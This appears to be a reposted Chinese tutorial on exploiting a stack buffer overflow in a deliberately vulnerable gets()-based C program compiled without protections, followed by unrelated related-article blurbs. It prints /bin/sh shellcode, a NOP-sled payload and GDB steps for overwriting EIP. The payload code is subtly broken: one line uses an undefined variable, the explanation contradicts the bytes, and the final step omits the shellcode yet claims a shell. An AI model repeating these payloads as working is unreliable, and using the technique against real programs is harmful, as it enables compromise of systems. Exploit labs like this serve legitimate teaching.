【linux漏洞】环境搭建

news/2024/11/14 21:57:40/文章来源:https://www.cnblogs.com/o-O-oO/p/18546909

第一步:设置环境

1.1 安装所需工具

在开始之前,确保你的 Linux 机器上安装了以下工具:

GCC (GNU 编译器集合): 用于编译我们的易受攻击程序。
GDB (GNU 调试器): 用于调试程序和检查内存。
Python: 用于制作 payload。
pwntools (可选): 一个帮助开发漏洞利用的 Python 库(后期有用)。

你可以通过以下命令安装这些工具:

sudo apt update
sudo apt install gcc gdb python3 python3-pip
pip3 install pwntools

第 2 步:编写一个易受攻击的程序

让我们创建一个简单的 C 程序,该程序易受基于栈的缓冲区溢出攻击。我们将使用不安全的gets()函数来读取用户输入而不进行边界检查,从而导致潜在的缓冲区溢出。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vulnerable_function() {char buffer[64];  // Stack buffer with limited sizeprintf("Enter some input:\n");gets(buffer);  // Vulnerable function: gets() doesn't check input sizeprintf("You entered: %s\n", buffer);
}
int main() {vulnerable_function();return 0;
}

2.1 编译程序

在编译时,我们将禁用堆栈保护(如金丝雀和堆栈保护)以使利用变得更容易:

gcc -fno-stack-protector -z execstack -o vuln_program vuln_program.c

-fno-stack-protector 标志禁用了堆栈保护器,-z execstack 使堆栈可执行(允许运行 shellcode)。

第 3 步:分析程序并触发漏洞

3.1 运行程序

正常运行程序以了解其行为:

./vuln_program

它会要求你输入内容。由于缓冲区只有 64 字节,输入超过这个长度的内容将会导致溢出。现在,输入:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

你应该会看到程序因段错误而崩溃。溢出可能已经覆盖了部分堆栈。

3.2 使用 GDB 检查堆栈

现在,让我们使用 GDB 检查内存,看看底层发生了什么:

gdb ./vuln_program

在 gets() 函数之前设置一个断点,以便在溢出之前检查内存:

(gdb) break gets
(gdb) run

当程序在断点处暂停时,使用以下命令检查堆栈:

(gdb) info registers
(gdb) x/20x $esp  # View the top of the stack

现在,再次输入相同的长字符串(64个A),观察内存的变化。你会注意到你输入的数据开始覆盖堆栈,包括保存的返回地址。

第 4 步:控制 EIP(指令指针)

基于堆栈的缓冲区溢出的目标是覆盖EIP(指令指针),它控制程序接下来要执行的内容。通过提供超过缓冲区容量的输入,你可以覆盖 EIP 并将执行重定向到你的有效载荷(shellcode)。

4.1 找到 EIP 的偏移量

要控制 EIP,你需要知道在到达堆栈上的保存返回地址之前需要输入多少字节。你可以使用模式生成来找到确切的偏移量:

python3 -c 'print("A" * 80)' | ./vuln_program

在 GDB 中检查崩溃发生的位置:

(gdb) info registers  # Check the value of EIP

你应该会看到 EIP 被部分输入覆盖。调整A的数量,直到找到覆盖 EIP 的确切偏移量。

第 5 步:编写 Shellcode

一旦你控制了 EIP,下一步就是将执行重定向到你的shellcode,它将生成一个 shell。以下是一些简单的 Linux shellcode,它会生成/bin/sh:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

5.1 创建有效载荷

你可以将这个 shellcode 与利用程序结合使用NOP 滑板,以增加落在 shellcode 上的机会。首先,使用 GDB 找到内存中缓冲区的位置,然后在 Python 中创建有效载荷:

python3 -c 'print("\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A" * (64 - 20 - len(shellcode)) + "BBBB" + "\x00\x80\x04\x08")' | ./vuln_program
NOP 滑板(\x90 * 20)有助于确保 EIP 会落在 shellcode 的某个位置。
缓冲区用A字符填充,直到达到缓冲区的长度。
BBBB用 NOP 滑板的地址覆盖 EIP,从而将执行重定向到 shellcode。

第 6 步:利用程序

使用你的利用载荷运行程序:

python3 -c 'print("A" * 64 + "\xef\xbe\xad\xde")' | ./vuln_program

如果一切设置正确,你应该会看到程序已被成功利用,并生成一个 shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833650.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Alpha冲刺(2/14)——2024.11.13

目录一、团队成员分工与进度二、成员任务问题及处理方式三、冲刺会议内容记录会议内容四、GitHub签入记录及项目运行截图GitHub签入记录项目运行截图五、项目开发进展及燃尽图项目开发进展燃尽图六、团队成员贡献表 一、团队成员分工与进度成员 完成的任务 完成的任务时长 剩余…

PS端Flash固化

PS端Flash固化Vivado版本:Vivado2020.2 芯片型号:RFSoC XCZU47DR 前提条件:Vitis工程编译完成,拨码开关拨到PS JTAG模式创建引导镜像 首先右键应用工程系统,点击Create Boot Image。检查镜像工程的文件是否为固化需要的工程文件,点击创建镜像的选项即可完成创建,创建完成…

Office Word 文档格式与目录样式(毕业设计论文常用)

调整格式技巧: Word 中点击 “文件”--》"选项"--》“显示”,将高亮部分全部打钩,有利于查看格式字符、 “分页符” 和“分节符” 两个很有用, 其中分节符 前后的页码是独立的。 样式间的关系: 类比 C++ 中类的继承编写的伪代码,“正文”为基类,派生出 “论文…

想不到新版的onenote配色这么好看

原来一直在用office自带的onenote,想不到新版的onenote配色这么好看。

[豪の学习笔记] 计算机网络#001

计算机网络概念、网络协议、计算机网络结构、Internet结构、电路交换、多路复用、报文交换与分组交换1.1.1 - 什么是计算机网络 计算机网络 = 通信技术 + 计算机技术计算机网络就是一种特殊的通信网络 定义:计算机网络就是互联的、自治的计算机集合 自治:无主从关系 互联:互…

第十一次作业

1、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程> ThinkPHP: 环境搭建前端测试是否存在pearcmd,访问路径,存在的话报错就确认存在在根目录下创建magedu3.php这个文件,文件内容为<?=phpinfo()?>,10.0.0.150:8080/public/?lang=../../../../../../../.…

Python并行编程1并行编程简介(上)高频面试题:GIL进程线程协程

1 并行编程简介 首先,我们将讨论允许在新计算机上并行执行的硬件组件,如 CPU 和内核,然后讨论操作系统中真正推动并行的实体:进程和线程。随后,将详细说明并行编程模型,介绍并发性、同步性和异步性等基本概念。 介绍完这些一般概念后,我们将讨论全局解释器锁(GIL)及其…

鸿蒙NEXT开发案例:年龄计算

​ 【引言】 本案例的目标是开发一款年龄计算器应用,该应用能够根据用户输入的出生日期,计算出用户的实际年龄、虚岁、星座、生肖等信息。同时,应用还将提供距离下次公历和农历生日的天数及星期等信息。为了实现这些功能,我们将使用ArkTS和ArkUI作为开发语言,并借助@nutpi…

Dosbox-x安装WinXP——图文教程

很多老游戏只能在win95、98或者XP中运行,因此,很多人尝试将Win95、98安装到Dosbox中,利用Dosbox来玩那些久远的情怀。有Win98自然就有人想在Dosbox中安装更高级的Win系统,于是就有人尝试在Dosnox中安装Win2000、WinXP的,其中2023-07-03在国外的fabulous.systems出现了一篇…

ABB AC900F学习笔记331:使用ST做自定义功能块,计算最近60秒的分钟均值和最近60分钟的小时均值

前面自己学习了在西门子TIA使用SCL编程,施耐德Unity中使用ST编程做分钟均值和小时均值的方法,今晚在家练习了在ABB Freelance中自定义功能块使用ST语言做分钟均值和小时均值。 新建项目、插入硬件、仿真器、操作站等不做介绍。新建一个用户功能块池,下面建一个功能块类。功能…

DBeaver如何设置自动刷新数据库表的数据,彻底解放双手!

前言 大家好,我是小徐啊。 DBeaver是一款常用的数据库连接工具,它的优点是免费使用,而且支持的数据库类型超级多,甚至可以直接安装数据库对应的驱动jar包来连接数据库。 比如达梦数据库,之前版本是可以通过jar包方式设置驱动来连接达梦数据库的。好了,言归正传,今天小徐…

Intellij IDEA如何设置中文版?安装中文汉化包插件?失败问题解决!

前言 大家好,我是小徐啊。 Intellij IDEA默认是英文的操作界面,因为是外国人开发的嘛~对于英文好一点的同学来说,英文就英文吧,但对于英文比较差的同学,就还是希望能够汉化一下,变成熟悉的中文。今天小徐就来介绍下如何在IDEA中安装汉化插件,以及在这过程中,我遇到的奇…